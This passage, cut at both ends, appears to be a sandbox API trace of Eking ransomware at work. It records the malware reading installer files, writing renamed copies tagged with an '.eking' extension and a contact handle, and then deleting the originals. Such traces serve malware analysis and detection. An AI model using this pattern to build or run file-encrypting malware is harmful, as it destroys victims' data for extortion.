lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0083.566] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=3865) returned 1 [0083.566] CloseHandle (hObject=0x31c) returned 1 [0083.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0083.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0083.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0083.567] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0083.567] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0083.567] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0083.567] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0083.579] ReadFile (in: hFile=0x31c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0xf19, lpOverlapped=0x0) returned 1 [0083.581] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf20, lpOverlapped=0x0) returned 1 [0083.582] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0083.582] CloseHandle (hObject=0x31c) returned 1 [0083.582] CloseHandle (hObject=0x32c) returned 1 [0083.584] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0083.585] SetEvent (hEvent=0x2cc) returned 1 [0083.585] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0083.585] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=17752) returned 1 [0083.585] CloseHandle (hObject=0x32c) returned 1 [0083.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0083.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0083.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0083.586] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0083.586] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0083.586] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0083.586] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0083.586] ReadFile (in: hFile=0x32c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x4558, lpOverlapped=0x0) returned 1 [0085.496] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x4560, lpOverlapped=0x0) returned 1 [0085.514] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0085.515] CloseHandle (hObject=0x32c) returned 1 [0085.515] CloseHandle (hObject=0x31c) returned 1 [0085.516] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0085.518] SetEvent (hEvent=0x2cc) returned 1 [0085.519] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0085.519] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=17752) returned 1 [0085.519] CloseHandle (hObject=0x31c) returned 1 [0085.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0085.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0085.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0085.520] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0085.520] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0085.520] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0085.520] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0085.521] ReadFile (in: hFile=0x31c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x4558, lpOverlapped=0x0) returned 1 [0085.523] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x4560, lpOverlapped=0x0) returned 1 [0085.524] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0085.525] CloseHandle (hObject=0x31c) returned 1 [0085.525] CloseHandle (hObject=0x32c) returned 1 [0085.526] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0085.528] SetEvent (hEvent=0x2cc) returned 1 [0085.528] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0085.528] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=5827) returned 1 [0085.529] CloseHandle (hObject=0x32c) returned 1 [0085.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0085.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0085.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0085.529] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0085.529] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0085.529] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0085.529] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0085.532] ReadFile (in: hFile=0x32c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x16c3, lpOverlapped=0x0) returned 1 [0085.534] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x16d0, lpOverlapped=0x0) returned 1 [0085.536] WriteFile (in: hFile=0x31c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0085.536] CloseHandle (hObject=0x32c) returned 1 [0085.536] CloseHandle (hObject=0x31c) returned 1 [0085.543] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0085.545] SetEvent (hEvent=0x2cc) returned 1 [0085.545] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0085.545] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=60684) returned 1 [0085.545] CloseHandle (hObject=0x31c) returned 1 [0085.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0085.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0085.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0085.546] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0085.546] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0085.546] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0085.546] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0085.546] ReadFile (in: hFile=0x31c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0xed0c, lpOverlapped=0x0) returned 1 [0085.763] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xed10, lpOverlapped=0x0) returned 1 [0085.765] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0085.765] CloseHandle (hObject=0x31c) returned 1 [0085.765] CloseHandle (hObject=0x32c) returned 1 [0085.767] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0085.769] SetEvent (hEvent=0x2cc) returned 1 [0085.769] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0085.770] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=18776) returned 1 [0085.770] CloseHandle (hObject=0x31c) returned 1 [0085.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0085.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0085.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0085.770] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0085.770] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0085.770] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0085.770] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0085.771] ReadFile (in: hFile=0x31c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x4958, lpOverlapped=0x0) returned 1 [0085.778] WriteFile (in: hFile=0x320, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x4960, lpOverlapped=0x0) returned 1 [0085.780] WriteFile (in: hFile=0x320, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0085.780] CloseHandle (hObject=0x31c) returned 1 [0085.780] CloseHandle (hObject=0x320) returned 1 [0085.781] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0085.782] SetEvent (hEvent=0x2cc) returned 1 [0085.782] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0085.782] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=6309) returned 1 [0085.783] CloseHandle (hObject=0x320) returned 1 [0085.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0085.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0085.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0085.783] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0085.783] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0085.783] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0085.783] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0085.799] ReadFile (in: hFile=0x320, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x18a5, lpOverlapped=0x0) returned 1 [0085.833] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x18b0, lpOverlapped=0x0) returned 1 [0085.834] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0085.834] CloseHandle (hObject=0x320) returned 1 [0085.834] CloseHandle (hObject=0x32c) returned 1 [0085.835] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0085.836] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0085.837] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=3069) returned 1 [0085.837] CloseHandle (hObject=0x32c) returned 1 [0085.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0085.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0085.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0085.837] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0085.837] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0085.837] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0085.838] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0085.929] ReadFile (in: hFile=0x32c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0xbfd, lpOverlapped=0x0) returned 1 [0085.934] WriteFile (in: hFile=0x330, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xc00, lpOverlapped=0x0) returned 1 [0085.937] WriteFile (in: hFile=0x330, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0085.937] CloseHandle (hObject=0x32c) returned 1 [0085.937] CloseHandle (hObject=0x330) returned 1 [0085.939] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0085.940] SetEvent (hEvent=0x2cc) returned 1 [0085.941] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0085.941] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x36ff9a0 | out: 